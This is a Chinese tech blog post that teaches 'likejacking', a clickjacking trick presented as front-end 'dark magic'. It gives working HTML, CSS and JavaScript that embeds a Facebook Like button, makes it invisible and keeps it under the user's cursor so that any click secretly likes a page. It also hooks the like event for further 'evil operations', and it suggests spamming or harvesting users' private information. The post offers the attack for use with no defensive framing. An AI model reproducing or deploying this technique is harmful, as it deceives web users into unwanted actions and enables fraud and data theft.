原创 Embrace 2025-02-24 08:30 重庆
点击关注公众号，“技术干货”及时达！
❝当我们浏览 Facebook 等平台的时候，其实很可能已经陷入了它们的黑魔法之中了?。
❞
在某些平台，其实你每一次的点击，都触发了这个网站的黑魔法，神不知鬼不觉给它们的网站增加点击量。
这里我以 Facebook 为例，你可能每一次点击都会点赞一次，即使你压根就不知道那个网站的存在。
❝注意⚠️，如果你复制粘贴我的代码，请科学上网，不然你的页面什么都没有
❞
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta >
<title>Document</title>
<script async defer crossorigin="anonymous" src="https://connect.facebook.net/zh_CN/sdk.js#xfbml=1&version=v9.0" nonce="QqZJQ1c1"></script>
</head>
<body>
<div id="fb-root"></div>
<div
class="fb-like"
data-href="https://www.facebook.com/lundevweb"
data-width=""
data-layout=""
data-action="like"
data-size="small"
data-share="true"
>
</div>
</body>
</html>
❝现在我们如何实现这个黑魔法呢?
❞
首先我们设置 css 样式
.fb-like {
position: fixed;
}
接下来我们给这个按钮添加鼠标事件
let fbIframe = document.querySelector('.fb-like')
document.addEventListener('mousemove' , (event) => {
fbIframe.style.left = event.clientX + 'px'
fbIframe.style.top = event.clientY + 'px'
})
可以发现，此时它已经跟随我们移动了。??
但是我们的鼠标并没有在点赞按钮上，并且我们不能让用户看到。我们继续修改 CSS 样式?
.fb-like {
position: fixed;
transform: translate(-10px,-10px);
}
我们肯定不能让用户发现这个事情，将他的透明度变为 0
.fb-like {
position: fixed;
transform: translate(-10px,-10px);
opacity: 0;
}
此时什么都没有了? 很好，我们已经完成了这个简单的黑暗艺术，接下来就可以做骚操作了
window.fbAsyncInit = function() {
Fb.event.subscribe('edge.create',() => {
//在这里你可以进行任何邪恶的操作
fbIframe.style.display = 'none'
})
}
FB.event.subscribe ` 监听 Facebook SDK 事件
edge.create 是用户成功点赞时触发的事件
fbIframe.style.display = 'none'让它消失。
❝当我们点赞后，就可以自定义逻辑像什么发送垃圾邮件，获取用户私密信息等等…… 用户根本不知道发生了什么?
❞
总结
这还只是简单的玩法，其实还有更变态的前端黑暗魔法，等我抽时间给你们写?
点击关注公众号，“技术干货” 及时达！
